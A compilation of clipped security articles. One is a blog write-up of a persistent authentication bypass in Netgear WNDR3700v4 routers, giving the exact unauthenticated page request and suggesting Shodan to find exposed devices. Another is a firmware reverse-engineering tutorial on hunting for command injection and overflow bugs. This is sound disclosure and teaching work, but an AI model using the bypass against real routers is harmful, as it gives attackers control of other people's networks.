    /home/bwall/Downloads/PEStudio/PeStudioBlackListStrings.xml www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioBlackListStrings.xml internetmailru.cdnmail.ru
    /home/bwall/Downloads/PEStudio/PeStudioBlackListStrings.xml sputnik.mail.ru
    /home/bwall/Downloads/PEStudio/PeStudioBlackListStrings.xml mail.ru
    /home/bwall/Downloads/PEStudio/PeStudioBlackListStrings.xml Command.com
    /home/bwall/Downloads/PEStudio/PeStudioBlackListStrings.xml 127.0.0.1
    /home/bwall/Downloads/PEStudio/PeStudioBlackListStrings.xml 2.0.0.1
    /home/bwall/Downloads/PEStudio/PeStudioBlackListStrings.xml www.memtest86.com
    /home/bwall/Downloads/PEStudio/PeStudioBlackListStrings.xml boxedapp.com
    /home/bwall/Downloads/PEStudio/PeStudioBlackListStrings.xml PAYPAL.COM
    /home/bwall/Downloads/PEStudio/PeStudioBlackListStrings.xml start.spoon.net
    /home/bwall/Downloads/PEStudio/PeStudioFunctionsUndocumented.xml    www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioWellKnownResources.xml   www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioFunctionsMapping.xml www.winitor.com
    /home/bwall/Downloads/PEStudio/PeParser.dll 776::06
    /home/bwall/Downloads/PEStudio/PeParser.dll ::
    /home/bwall/Downloads/PEStudio/PeParser.dll 3::
    /home/bwall/Downloads/PEStudio/PeStudioTranslations.xml www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioBlackListLanguages.xml   www.winitor.com
    /home/bwall/Downloads/PEStudio/PeStudioBlackListLanguages.xml   msdn.microsoft.com
    
[/code]

#  Change log

##  Version 1.1.0

  * Files are no longer loaded completely into RAM so larger files can be processed \(performance increase noticed\)
  * Strict mode added, where domains are only considered if all lower case

  * IPv6 regex needs to be shorted and heavily tested
  * Heavier testing
  * Improve performance
  * Multiple core processing support

# The Shadow File: Complete, Persistent Compromise of Netgear Wireless Routers

**Created:**| _10/23/2013 8:08:25 AM_  
---|---  
**Updated:**| _10/23/2013 8:08:25 AM_  
**Author:**| __  
**Tags:**| _iDA reversing routers backdoor_  
  

# **C** omplete, Persistent Compromise of Netgear Wireless Routers****

NOTE: Evidently, Jacob Holocomb \(@rootHak42  on Twitter\) of Independent
Security Evaluators found this bug back in April on a different device, the
WNDR4700**.** Thanks for letting me know, Jacob**.** Nice find. Here's a link
to that report**.**  
  
One of my favorite  embedded vendors' products to find bugs  in is
Netgear**.** Naturally, I was excited to take a look at the firmware for
version 4 of Netgear's venerable WNDR3700 wireless router \(I talked about
version 3 at Black Hat in 2012\)**.** Of course, I updated  my DLNA SQL
injection + buffer overflow exploit code for the new version, but I found
something else that's even better**.**  
  
Don't have time for a bunch of IDA Pro nonsense**?** Don't worry; just skip to
the TL;DR.  
  
Still here**?** Excellent. Let's find out how deep the rabbit hole  goes**.**

###  An All-purpose CGI Request Handler****

On the WNDR3700v4, as with many embedded web servers, a single binary
executable, /usr/sbin/net-cgi, gets executed by the web server to handle most,
if not all, HTTP requests**.**

[code]

    $ file usr/sbin/net-cgi
    usr/sbin/net-cgi: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size
    
[/code]

It's important to understand how net-cgi performs authentication**.** It's a
little messy, but don't panic. I brought pictures**.**  
  
In the executable's data section, there's a table of mime handler structures
that describe, among other things, names or partial names of paths that can be
requested via HTTP**.**  
  
A C declaration for the mime handler structure might look approximately like:

[code]

    struct mime_handler {
            char *pattern;
            char *mime_type;
            char *extra_header;
            void (*input)(char *path, FILE *stream, int len, char *boundary);
            void (*output)(char *path, FILE *stream);
            void (*auth)(char *userid, char *passwd, char *realm);
    };
    
[/code]

The main function for handling requests is handle\_http\_request\(\)**.** Its
function signature looks like:

[code]

    handle_http_request(char *script_file, //requested object or cgi script
                          char *query_string,
                         char *request_method,
                         FILE * stdout,
                         FILE *stdin);
    
[/code]

In http\_handle\_request\(\), there is logic to loop over each of the mime
handlers to check if the requested object matches the handler's pattern
string**.** It actually just does a strstr\(\) to see if the pattern is a
substring of the requested object**.**

<img src='img/Temp2_8316.png' />

If there's a match, then it checks to see if there's an authentication
handler**.** If there is none for that mime handler, then no authentication is
performed**.** Execution skips down the the block I call "pass go, collect
$200**.** "

<img src='img/Temp2_8311.png' />

When we look at the mime handler table, we see an entry for the pattern
"BRS\_"**.** This entry's auth function pointer is NULL, meaning requested
objects matching this pattern don't require authenticaiton**.**

<img src='img/Temp2_8314.png' />

This is interesting because there are several BRS\_ files available for the
web server to serve up:

[code]

    root/www (0) $ ls -1 BRS_*
    BRS_01_checkNet.html*
    BRS_01_checkNet_ping.html
    BRS_02_genieHelp.html*
    BRS_03A_A_noWan_check_net.html*
    BRS_03A_A_noWan.html*
    BRS_03A_B_pppoe.html*
    BRS_03A_B_pppoe_reenter.html*
    BRS_03A_C_pptp.html*
    BRS_03A_C_pptp_reenter.html*
    BRS_03A_D_bigpond.html*
    BRS_03A_detcInetType.html*
    BRS_03A_E_IP_problem.html*
    BRS_03A_E_IP_problem_staticIP_A_inputIP.html*
    BRS_03A_E_IP_problem_staticIP_B_macClone.html*
    BRS_03A_E_IP_problem_staticIP_B_macClone_plzWait.html*
    BRS_03A_E_IP_problem_staticIP.html*
    BRS_03A_F_l2tp.html*
    BRS_03A_F_l2tp_reenter.html*
    BRS_03B_haveBackupFile_change_domain.htm
    BRS_03B_haveBackupFile_fileRestore.html*
    BRS_03B_haveBackupFile.html*
    BRS_03B_haveBackupFile_ping.html
    BRS_03B_haveBackupFile_wait_ping.html*
    BRS_03B_haveBackupFile_waitReboot.html*
    BRS_04_applySettings.html*
    BRS_04_applySettings_ping.html*
    BRS_04_applySettings_wget.html*
    BRS_04_applySettings_wgetResult.html*
    BRS_04_B_checkNet.html*
    BRS_04_B_checkNet_ping.html
    BRS_05_networkIssue.html*
    BRS_check_manulConfig.html
    BRS_index.htm*
    BRS_netgear_success.html
    BRS_ping.html*
    BRS_ping_result.html
    BRS_plzWait.html*
    BRS_retry.htm
    BRS_success.html*
    BRS_top.html*
    BRS_wanlan_conflict.html*
    
[/code]

All of these files may be accessed without a password**.** Almost certainly
there is something juicy in there, such as some diagnostic information, or
maybe a page that will show you the WPA passphrases for the 2**.** 4 GHz and
5GHz networks**.**<img src='img/Temp2_8315.png' />  
---  
BRS\_success.html**.** No authentication needed**.**  
Excellent. Free wifi passwords**\!** Still though, full administrative pwnage
would be cool**.** Good news....

###  Are You Really Sure We Need to Check Authentication**?**

When we look at how authentication is checked, there are a bunch of execution
paths to the "pass go, collect $200" block**.** Lets take a look.<img
src='img/Temp2_8317.png' />  
---  
Lots of requested paths that result in authentication being skipped**.**  
Above, you can see the first two strings, "unauth.cgi" and
"securityquestions.cgi" are checked against the query string, not the
requested file**.** If either of these strings are substrings of the query
string, execution bypasses authentication**.** Since this substring check is
against the entire query string, you can request something like
http://router\_address/protected\_page.htm**?** foo=unauth.cgi. The
"unauth.cgi" will match the substring check and execution will skip
authentication**.**  
  
I actually discovered this authentication bypass while double checking my
research for the next vulnerability**.** It is the next one that is a much
more powerful bypass and even more trivial to exploit**.** Plus, it's
persistent.

###  So, Do We Really Super Double For Sure Need to Check Authentication**?**

After an authentication handler is located, but before the query string is
checked for special unauthenticated strings, there is yet another interesting
check**.** Let's have a look\[1\].<img src='img/Temp2_8313.png' />  
---  
If hijack\_process **\!** = "3", collect $200.  
Above, we see a query of the NVRAM configuration for the hijack\_process
setting**.** If that setting is "3", then the authentication execution path is
followed as normal**.** If it is something _other_ than "3", execution skips
down to "pass go, collect $200," authentication is bypassed**.** The purpose
of this configuration setting is so that when first plugged in, the router
will redirect all web requests to its own web-based administrative
interface**.** In order to prevent users from having to know a default
password, authentication is disabled until after the router is configured**.**
The hijack\_process setting is one among several that, together, determine
whether the router is in an unconfigured state**.**  
  
Where this gets interesting, however, is an _unauthenticated_ page that will
_set_ the hijack\_process setting to a value other than "3"**.**  
  
Grepping through the firmware's html files for "hijack\_process" yields an
interesting find**.**

[code]

    $ grep -rn 'cfg_set("hijack_process"' *
    BRS_02_genieHelp.html:12:<% cfg_set("hijack_process", "1") %>
    
[/code]

The BRS\_02\_genieHelp.html file contains a command to set hijack\_process to
"1"**.** The web interface uses a custom HTML templating language**.** Any
text between '<%' and '%>' is preprocessed by the web server and the entire
directive replaced by the output of that processing**.** In the case above,
the request handler processes the "cfg\_set" directive to set the
hijack\_process configuration setting**.** As we discovered earlier, any web
page beginning with "BRS\_" does not require authentication**.** An
unauthenticated request to BRS\_02\_genieHelp.html will have the effect of
disabling authentication for the _rest of the web interface_**.** Since the
hijack\_process setting is only one of several that mark the router as being
unconfigured, this one setting alone has no noticeable effect for the
user**.** No web requests are actually hijacked. Further, this setting is
stored in NVRAM, which means it is persistent across reboots**.**

###  TL;DR****

You skipped straight to the good stuff didn't you**?** That's cool. Here's the
deal**.** If you browse to http://<router address>/BRS\_02\_genieHelp.html,
you are allowed to _bypass_ authentication for _all pages_ in the entire
administrative interface**.** But not only that, authentication remains
disabled across reboots**.** And, of course if remote administration is turned
on, this works from the frickin' Internet**.**  
  
Don't believe me**?** Give it at try. Surf to your WNDR3700v4's web interface
and request BRS\_02\_genieHelp.html**.** Don't have one of your own? No
problem**.** Shodan's got you covered .

<img src='img/Temp2_8312.png' />

With complete, persistent administrative access to the web interface, a huge
attack surface is opened up**.** A malicious DNS server could be configured,
exposing users to web browser exploits**.** Ports could be forwarded to
devices on the LAN, exposing vulnerable services to attack**.** Or, a trojan
horse firmware could be flashed onto the device that would give the attacker
persistent root-level access to the router**.** Additionally, any command
injection or buffer overflow vulnerabilities in the router's web interface
become fair game once authentication is disabled**.**  
  
In the next few posts, I will describe additional vulnerabilities that can be
exploited once authentication is disabled on this device**.**  
  
\---------  
\[1\] This is the the technical analysis of how this bug works**.** It's not
how I found it. If you buy me a beer at a conference, I'll tell you how I
actually found this vulnerability**.** ****

# Practical Reverse Engineering Part 5 - Digging Through the Firmware

**Created:**| _12/21/2016 9:17:51 AM_  
---|---  
**Updated:**| _12/21/2016 9:17:51 AM_  
**Author:**| __  
**Tags:**| _bookmark Firmware iot_  
  

  

# Practical Reverse Engineering Part 5 - Digging Through the Firmware

14 Dec 2016

  * Part 1: Hunting for Debug Ports
  * Part 2: Scouting the Firmware
  * Part 3: Following the Data
  * Part 4: Dumping the Flash
  * **Part 5** : Digging Through the Firmware

In part 4 we extracted the entire firmware from the router and decompressed
it. As I explained then, you can often get most of the firmware directly from
the manufacturer’s website: Firmware upgrade binaries often contain partial or
entire filesystems, or even entire firmwares.

In this post we’re gonna dig through the firmware to find potentially
interesting code, common vulnerabilities, etc.

I’m gonna explain some basic theory on the Linux architecture, disassembling
binaries, and other related concepts. Feel free to skip some of the parts
marked as \[Theory\]; the real hunt starts at ‘Looking for the Default WiFi
Password Generation Algorithm’. At the end of the day, we’re just: obtaining
source code in case we can use it, using `grep` and common sense to find
potentially interesting binaries, and disassembling them to find out how they
work.

One step at a time.

## Gathering and Analysing Open Source Components

#### GPL Licenses - What They Are and What to Expect \[Theory\]

Linux, U-Boot and other tools used in this router are licensed under the
**General Public License**. This license mandates that the source code for any
binaries built with GPL’d projects must be made available to anyone who wants
it.

Having access to all that source code can be a massive advantage during the
reversing process. The kernel and the bootloader are particularly interesting,
and not just to find security issues. For instance:

When hunting for GPL’d sources you can usually expect one of these scenarios:

  1. The code is freely available on the manufacturer’s website, nicely ordered and completely open to be tinkered with. For instance: apple products or the amazon echo
  2. The source code is available by request 
     * They send you an email with the sources you requested
     * They ask you for “a reasonable amount” of money to ship you a CD with the sources
  3. They decide to \(illegally\) ignore your requests. If this happens to you, consider being nice over trying to get nasty.

In the case of this router, the source code was available on their website,
even though it was a huge pain in the ass to find; it took me a long time of
manual and automated searching but I ended up finding it in the mobile version
of the site:

  * Huawei’s GPL compliance search page.
  * HG533 GPL release
  * Mirror of the HG533 release.

<img src='img/rqWb3Jj.png' width='720' height='572' alt='ls -lh gpl_source' />

**But what if they’re hiding something\!?** How could we possibly tell whether
the sources they gave us are the same they used to compile the production
binaries?

#### Challenges of Binary Verification \[Theory\]

Theoretically, we could try to compile the source code ourselves and compare
the resulting binary with the one we extracted from the device. In practice,
that is extremely more complicated than it sounds.

The exact contents of the binary are strongly tied to the toolchain and
overall environment they were compiled in. We could try to replicate the
environment of the original developers, finding the exact same versions of
everything they used, so we can obtain the same results. Unfortunately, most
compilers are not built with output replicability in mind; even if we managed
to find the exact same version of everything, details like timestamps,
processor-specific optimizations or file paths would stop us from getting a
byte-for-byte identical match.

_If you’d like to read more about it, I can recommendthis paper. The authors
go through the challenges they had to overcome in order to verify that the
official binary releases of the application ‘TrueCrypt’ were not backdoored._

#### Introduction to the Architecture of Linux \[Theory\]

In multiple parts of the series, we’ve discussed the different components
found in the firmware: bootloader, kernel, filesystem and some protected
memory to store configuration data. In order to know where to look for what,
it’s important to understand the overall architecture of the system. Let’s
quickly review this device’s:

<img src='img/2lwcSjA.png' width='720' height='380' alt='Linux Architecture'
/>

The bootloader is the first piece of code to be executed on boot. Its job is
to prepare the kernel for execution, jump into it and stop running. From that
point on, the kernel controls the hardware and uses it to run user space
logic. A few more details on each of the components:

  1. **Hardware** : The CPU, Flash, RAM and other components are all physically connected
  2. **Linux Kernel** : It knows how to control the hardware. The developers take the Open Source Linux kernel, write _drivers_ for their specific device and compile everything into an executable Kernel. It manages memory, reads and writes hardware registers, etc. In more complex systems, “kernel modules” provide the possibility of keeping device drivers as separate entities in the file system, and dynamically load them when required; most embedded systems don’t need that level of versatility, so developers save precious resources by compiling everything into the kernel
  3. **libc** \(“ _The C Library_ ”\): It serves as a general purpose wrapper for the System Call API, including extremely common functions like `printf`, `malloc` or `system`. Developers are free to call the system call API directly, but in most cases, it’s MUCH more convenient to use libc. Instead of the extremely common `glibc` \(GNU C library\) we usually find in more powerful systems, this device uses a version optimised for embedded devices: `uClibc`.
  4. **User Applications** : Executable binaries in `/bin/` and _shared objects_ in `/lib/` \(libraries that contain functions used by multiple binaries\) comprise most of the high-level logic. Shared objects are used to save space by storing commonly used functions in a single location

#### Bootloader Source Code

As I’ve mentioned multiple times over this series, this router’s bootloader is
U-Boot. U-Boot is GPL licensed, but Huawei failed to include the source code
in their website’s release.

Having the source code for the bootloader can be very useful for some
projects, where it can help you figure out how to run a custom firmware on the
device or modify something; some bootloaders are much more feature-rich than
others. In this case, I’m not interested in anything U-Boot has to offer, so I
didn’t bother following up on the source code.

#### Kernel Source Code

Let’s just check out the source code and look for anything that might help.
Remember the _factory reset_ button? The button is part of the hardware layer,
which means the GPIO pin that detects the button press must be controlled by
the drivers. These are the logs we saw coming out of the UART port in a
previous post:

<img src='img/u8ZMr4Q.png' width='720' height='404' alt='UART system restore
logs' />

With some simple `grep` commands we can see how the different components of
the system \(kernel, binaries and shared objects\) can work together and
produce the serial output we saw:

<img src='img/ASQBsR6.png' width='720' height='362' alt='System reset button
propagates to user space' />

Having the kernel can help us find weak algorithms used for security purposes
and other weaknesses that are sometimes considered ‘accepted risks’ by
manufacturers. Most importantly, we can use the drivers to compile and run our
own OS in the device.

#### User Space Source Code

As we can see in the GPL release, some components of the user space are also
open source, such as `busybox` and `iptables`. Given the right \(wrong\)
versions, public vulnerability databases could be enough to find exploits for
any of these.

That being said, if you’re looking for 0-days, backdoors or sensitive data,
your best bet is not the open source projects. Devic specific and closed
source code developed by the manufacturer or one of their providers has not
been so heavily tested and may very well be riddled with bugs. Most of this
code is stored as binaries in the user space; we’ve got the entire filesystem,
so we’re good.

Without the source code for user space binaries, we need to find a way to read
the _machine code_ inside them. That’s where disassembly comes in.

## Binary Disassembly \[Theory\]

The code inside every executable binary is just a compilation of instructions
encoded as _Machine Code_ so they can be processed by the CPU. Our processor’s
datasheet will explain the direct equivalence between assembly instructions
and their machine code representations. A disassembler has been given that
equivalence so it can go through the binary, find data and machine code and
translate it into assembly. Assembly is not pretty, but at least it’s human-
readable.

Due to the very low-level nature of the kernel, and how heavily it interacts
with the hardware, it is incredibly difficult to make any sense of its binary.
User space binaries, on the other hand, are abstracted away from the hardware
and follow unix standards for calling conventions, binary format, etc. They’re
an ideal target for disassembly.

#### Popular Disassemblers

There are lots of disassemblers for popular architectures like MIPS; some
better than others both in terms of functionality and usability. I’d say these
3 are the most popular and powerful disassemblers in the market right now:

  * IDA Pro: By far the **most popular** disassembler/debugger in the market. It is extremely powerful, multi-platform, and there are loads of users, tutorials, plugins, etc. around it. Unfortunately, it’s also VERY expensive; a single person license of the _Pro_ version \(required to disassemble MIPS binaries\) costs **over $1000**
  * Radare2: Completely **Open Source** , uses an impressively advanced command line interface, and there’s a great community of hackers around it. On the other hand, the complex command line interface -necessary for the sheer amount of features- makes for a rather **steep learning curve**
  * Binary Ninja: Not open source, but reasonably priced at **$100** for a personal license, it’s middle ground between IDA and radare. It’s still a **very new** tool; it was just released this year, but it’s improving and gaining popularity day by day. It already works very well for some architectures, but unfortunately it’s still missing MIPS support \(coming soon\) and some other features I needed for these binaries. I look forward to giving it another try when it’s more mature

In order to display the assembly code in a more readable way, all these
disasemblers use a “Graph View”. It provides an intuitive way to follow the
different possible execution flows in the binary:

<img src='img/ZTXwFZs.png' width='720' height='1139' alt='IDA Small Function
Graph View' />

Such a clear representation of branches, and their conditionals, loops, etc.
is extremely useful. Without it, we’d have to manually jump from one branch to
another in the raw assembly code. Not so fun.

If you read the code in that function you can see the disassembler makes a
great job displaying references to functions and hardcoded strings. That might
be enough to help us find something juicy, but in most cases you’ll need to
understand the assembly code to a certain extent.

#### Gathering Intel on the CPU and Its Assembly Code \[Theory\]

Let’s take a look at the format of our binaries:

[code]

    $ file bin/busybox
    bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size
    
[/code]

Because ELF headers are designed to be platform-agnostic, we can easily find
out some info about our binaries. As you can see, we know the architecture
\(32-bit MIPS\), endianness \(LSB\), and whether it uses shared libraries.

We can verify that information thanks to the Ralink’s product brief, which
specifies the processor core it uses: `MIPS24KEc`

<img src='img/KgVCwq5.png' width='720' height='309' alt='Product Brief
Highlighted Processor Core' />

With the exact version of the CPU core, we can easily find its datasheet as
released by the company that designed it: Imagination Technologies.

Once we know the basics we can just drop the binary into the disassembler. It
will help validate some of our findings, and provide us with the assembly
code. In order to understand that code we’re gonna need to know the
architecture’s instruction sets and register names:

  * MIPS Instruction Set
  * MIPS Pseudo-Instructions: Very simple combinations of basic instructions, used for developer/reverser convenience
  * MIPS Alternate Register Names: In MIPS, there’s no real difference between registers; the CPU doesn’t about what they’re called. Alternate register names exist to make the code more readable for the developer/reverser: `$a0` to `$a3` for function arguments, `$t0` to `$t9` for temporary registers, etc.

Beyond instructions and registers, some architectures may have some quirks.
One example of this would be the presence of delay slots in MIPS: Instructions
that appear immediately after branch instructions \(e.g. `beqz`, `jalr`\) but
are actually executed before the jump. That sort of non-linearity would be
unthinkable in other architectures.

_Some interesting links if you’re trying to learn MIPS:Intro to MIPS Reversing
using Radare2, MIPS Assembler and Runtime Simulator, Toolchains to cross-
compile for MIPS targets._

#### Example of User Space Binary Disassembly

Following up on the reset key example we were using for the Kernel, we’ve got
the code that generated **some** of the UART log messages, but not all of
them. Since we couldn’t find the ‘button has been pressed’ string in the
kernel’s source code, we can deduce it must have come from user space. Let’s
find out which binary printed it:

[code]

    ~/Tech/Reversing/Huawei-HG533_TalkTalk/router_filesystem
    $ grep -i -r "restore default success" .
    Binary file ./bin/cli matches
    Binary file ./bin/equipcmd matches
    Binary file ./lib/libcfmapi.so matches
    
[/code]

3 files contain the next string found in the logs: 2 executables in `/bin/`
and 1 shared object in `/lib/`. Let’s take a look at `/bin/equipcmd` with IDA:

<img src='img/NYu28hi.png' width='720' height='766' alt='restore success
string in /bin/equipcmd - IDA GUI' />

If we look closely, we can almost read the C code that was compiled into these
instructions. We can see a “clear configuration file”, which would match the
`ERASE` commands we saw in the SPI traffic capture to the flash IC. Then,
depending on the result, one of two strings is printed: `restore default
success` or `restore default fail` . On success, it then prints something
else, flushes some buffers and reboots; this also matches the behaviour we
observed when we pressed the reset button.

That function is a perfect example of delay slots: the `addiu` instructions
that set both strings as arguments -`$a0`\- for the 2 `puts` are in the delay
slots of the `branch if equals zero` and `jump and link register`
instructions. They will actually be executed before branching/jumping.

As you can see, IDA has the name of all the functions in the binary. That
won’t necessarily be the case in other binaries, and now’s a good time to
discuss why.

#### Function Names in a Binary - Intro to Symbol Tables \[Theory\]

The ELF format specifies the usage of _symbol tables_: chunks of data inside a
binary that provide useful debugging information. Part of that information are
human-readable names for every function in the binary. This is extremely
convenient for a developer debugging their binary, but in most cases it should
be removed before releasing the production binary. The developers were nice
enough to leave most of them in there :\)

In order to remove them, the developers can use tools like strip, which know
what must be kept and what can be spared. These tools serve a double purpose:
They save memory by removing data that won’t be necessary at runtime, and they
make the reversing process much more complicated for potential attackers.
Function names give context to the code we’re looking at, which is massively
helpful.

In some cases -mostly when disassembling shared objects- you may see _some_
function names or none at all. The ones you WILL see are the **Dyn** amic
**Sym** bols in the `.dymsym` table: We discussed earlier the massive amount
of memory that can be saved by using shared objects to keep the pieces of code
you need to re-use all over the system \(e.g. `printf()`\). In order to locate
pieces of data inside the shared object, the caller uses their human-readable
name. That means the names for functions and variables that need to be
publicly accessible **must** be left in the binary. The rest of them can be
removed, which is why ELF uses 2 symbol tables: `.dynsym` for publicly
accessible symbols and `.symtab` for the internal ones.

For more details on symbol tables and other intricacies of the ELF format,
check out: The ELF Format - How programs look from the inside, Inside ELF
Symbol Tables and the ELF spec \(PDF\).

## Looking for the Default WiFi Password Generation Algorithm

#### What do We Know?

Remember the wifi password generation algorithm we discussed in part 3? \(The
Pot of Gold at the End of the Firmware\) I explained then why I didn’t expect
this router to have one, but let’s take a look anyway.

If you recall, these are the default WiFi credentials in my router:

<img src='img/ATznq7F.png' width='720' height='291' alt='Router Sticker -
Annotated' />

So what do we know?

  1. Each device is pre-configured with a different set of WiFi credentials
  2. The credentials could be hardcoded at the factory or generated on the device. Either way, we know from previous posts that both SSID and password are stored in the reserved area of Flash memory, and they’re right next to each other 
     * If they were hardcoded at the factory, the router only needs to read them from a known memory location
     * If they are generated in the device and then stored to flash, there must be an algorithm in the router that -given the same inputs- always generates the same outputs. If the inputs are public \(e.g. the MAC address\) and we can find, reverse and replicate the algorithm, we could calculate default WiFi passwords for any other router that uses the same algorithm

Let’s see what we can do with that…

#### Finding Hardcoded Strings

Let’s assume there IS such algorithm in the router. Between username and
password, there’s only one string that remains constant across devices:
`TALKTALK-`. This string is prepended to the last 6 characters of the MAC
address. If the generation algorithm is in the router, surely this string must
be hardcoded in there. Let’s look it up:

[code]

    $ grep -r 'TALKTALK-' .
    Binary file ./bin/cms matches
    Binary file ./bin/nmbd matches
    Binary file ./bin/smbd matches
    
[/code]

2 of those 3 binaries \(`nmbd` and `smbd`\) are part of samba, the program
used to use the USB flash drive as a network storage device. They’re probably
used to identify the router over the network. Let’s take a look at the other
one: `/bin/cms`.

#### Reversing the Functions that Uses Them

<img src='img/qwksBmi.png' width='720' height='638' alt='IDA TALKTALK-XXXXXX
String Being Built' />

That looks exactly the way we’d expect the SSID generation algorithm to look.
The code is located inside a rather large function called `ATP_WLAN_Init`, and
somewhere in there it performs the following actions:

  1. Find out the MAC address of the device we’re running on: 
     * `mac = BSP_NET_GetBaseMacAddress()`
  2. Create the SSID string: 
     * `snprintf(SSID, "TALKTALK-%02x%02x%02x", mac[3], mac[4], mac[5])`
  3. Save the string somewhere: 
     * `ATP_DBSetPara(SavedRegister3, 0xE8801E09, SSID)`

Unfortunately, right after this branch the function simply does an
`ATP_DBSave` and moves on to start running commands and whatnot. e.g.:

<img src='img/HVhwFzU.png' width='720' height='763' alt='ATP_WLAN_Init moves
on before you' />

Further inspection of this function and other references to `ATP_DBSave` did
not reveal anything interesting.

#### Giving Up

After some time using this process to find potentially relevant pieces of
code, reverse them, and analyse them, I didn’t find anything that looked like
the password generation algorithm. That would confirm the suspicions I’ve had
since we found the default credentials in the `protected` flash area: The
manufacturer used proper security techniques and flashed the credentials at
the factory, which is why there is no algorithm. Since the designers
manufacture their own hardware, the decision makes perfect sense for this
device. They can do whatever they want with their manufacturing lines, so they
decided to do it right.

I might take another look at it in the future, or try to find it in some other
router \(I’d like to document the process of reversing it\), but you should
know this method DOES work for a lot of products. There’s a long history of
freely available default WiFi password generators.

Since we already know how to find relevant code in the filesystem binaries,
let’s see what else we can do with that knowledge.

## Looking for Command Injection Vulnerabilities

One of the most common, easy to find and dangerous vulnerabilities is command
injection. The idea is simple; we find an input string that is gonna be used
as an argument for a shell command. We try to append our own commands and get
them to execute, bypassing any filters that the developers may have
implemented. In embedded devices, such vulnerabilities often result in full
root control of the device.

These vulnerabilities are particularly common in embedded devices due to their
memory constraints. Say you’re developing the web interface used by the users
to configure the device; you want to add the possibility to `ping` a user-
defined server from the router, because it’s very valuable information to
debug network problems. You need to give the user the option to define the
ping target, and you need to serve them the results:

<img src='img/Nkae9G3.png' width='720' height='592' alt='Router WEB Interface
Ping in action' />

Once you receive the data of which server to target, you have two options: You
find a library with the ICMP protocol implemented and call it directly from
the web backend, or you could use a single, standard function call and use the
router’s already existing `ping` shell command. The later is easier to
implement, saves memory, etc. and it’s the obvious choice. Taking user input
\(target server address\) and using it as part of a shell command is where the
danger comes in. Let’s see how this router’s web application, `/bin/web`,
handles it:

<img src='img/gRI8fMt.png' width='688' height='1436' alt='/bin/web's ping
function' />

A call to libc’s system\(\) \(not to be confused with a _system call_
/syscall\) is the easiest way to execute a shell command from an application.
Sometimes developers wrap `system()` in custom functions in order to
systematically filter all inputs, but there’s always something the wrapper
can’t do or some developer who doesn’t get the memo.

Looking for references to `system` in a binary is an excellent way to find
vectors for command injections. Just investigate the ones that look like may
be using unfiltered user input. These are all the references to `system()` in
the `/bin/web` binary:

<img src='img/x2oflih.png' width='469' height='855' alt='xrefs to system in
/bin/web' />

Even the names of the functions can give you clues on whether or not a
reference to `system()` will receive user input. We can also see some
references to PIN and PUK codes, SIMs, etc. Seems like this application is
also used in some mobile product…

I spent some time trying to find ways around the filtering provided by
`atp_gethostbyname` \(anything that isn’t a domain name causes an error\), but
I couldn’t find anything in this field or any others. Further analysis may
prove me wrong. The idea would be to inject something to the effects of this:

<img src='img/bPv4AxJ.png' width='720' height='600' alt='Attempt reboot
injection on ping field' />

As I said, I couldn’t find anything. The idea would be to verify that for all
input fields, whether they’re in the web interface or some other network
interface. Another example of a network interface potentially vulnerable to
remote command injections is the “LAN-Side DSL CPE Configuration” protocol, or
**TR-064**. Even though this protocol was designed to be used over the
internal network only, it’s been used to configure routers over the internet
in the past. Remote command injection vulnerabilities in this protocol have
been used to extract things like WiFi credentials from routers remotely with
just a few packets.

This router has a binary conveniently named `/bin/tr064`; if we take a look,
we find this right in the `main()` function:

<img src='img/V19ESAp.png' width='720' height='916' alt='/bin/tr064 using
/etc/serverkey.pem' />

That’s the private RSA key we found in Part 2 being used for SSL
authentication. Now we might be able to supplant a router in the system and
look for vulnerabilities in their servers, or we might use it to find other
attack vectors. Most importantly, it closes the mistery of the private key we
found while scouting the firmware.

## Looking for More Complex Vulnerabilities \[Theory\]

Even if we couldn’t find any command injection vulnerabilities, there are
always other vectors to gain control of the router. The most common ones are
good old buffer overflows. Any input string into the router, whether it is for
a shell command or any other purpose, is handled, modified and passed around
the code. An error by the developer calculating expected buffer lengths, not
validating them, etc. in those string operations can result in an exploitable
buffer overflow, which an attacker can use to gain control of the system.

The idea behind a buffer overflow is rather simple: We manage to pass a string
into the system that contains executable code. We override some address in the
program so the execution flow jumps into the code we just injected. Now we can
do anything that binary could do -in embedded systems like this one, where
everything runs as root, it means immediate root pwnage.

<img src='img/hbRsOrE.png' width='720' height='518' alt='Introducing an
unexpectedly long input' />

Developing an exploit for this sort of vulnerability is not as simple as
appending commands to find your way around a filter. There are multiple
possible scenarios, and different techniques to handle them. Exploits using
more involved techniques like ROP can become necessary in some cases. That
being said, most household embedded systems nowadays are decades behind
personal computers in terms of anti-exploitation techniques. Methods like
_Address Space Layout Randomization_ \(ASLR\), which are designed to make
exploit development much more complicated, are usually disabled or not
implemented at all.

If you’d like to find a potential vulnerability so you can learn exploit
development on your own, you can use the same techniques we’ve been using so
far. Find potentially interesting inputs, locate the code that manages them
using function names, hardcoded strings, etc. and try to trigger a malfunction
sending an unexpected input. If we find an improperly handled string, we might
have an exploitable bug.

Once we’ve located the piece of disassembled code we’re going to attack, we’re
mostly interested in string manipulation functions like `strcpy`, `strcat`,
`sprintf`, etc. Their more secure counterparts `strncpy`, `strncat`, etc. are
also potentially vulnerable to some techniques, but usually much more
complicated to work with.

<img src='img/JNFw0Od.png' width='720' height='1146' alt='Pic of strcpy
handling an input' />

Even though I’m not sure that function -extracted from `/bin/tr064`\- is
passed any user inputs, it’s still a good example of the sort of code you
should be looking for. Once you find potentially insecure string operations
that may handle user input, you need to figure out whether there’s an
exploitable bug.

Try to cause a crash by sending unexpectedly long inputs and work from there.
Why did it crash? How many characters can I send without causing a crash?
Which payload can I fit in there? Where does it land in memory? etc. etc. I
may write about this process in more detail at some point, but there’s plenty
of literature available online if you’re interested.

Don’t spend all your efforts on the most obvious inputs only -which are also
more likely to be properly filtered/handled-; using tools like the burp web
proxy \(or even the browser itself\), we can modify fields like cookies to
check for buffer overflows.

Web vulnerabilities like CSRF are also extremely common in embedded devices
with web interfaces. Exploiting them to write to files or bypass
authentication can lead to absolute control of the router, specially when
combined with command injections. An authentication bypass for a router with
the web interface available from the Internet could very well expose the
network to being remotely _man in the middle’d_. They’re definitely an
important attack vector, even though I’m not gonna go into how to find them.

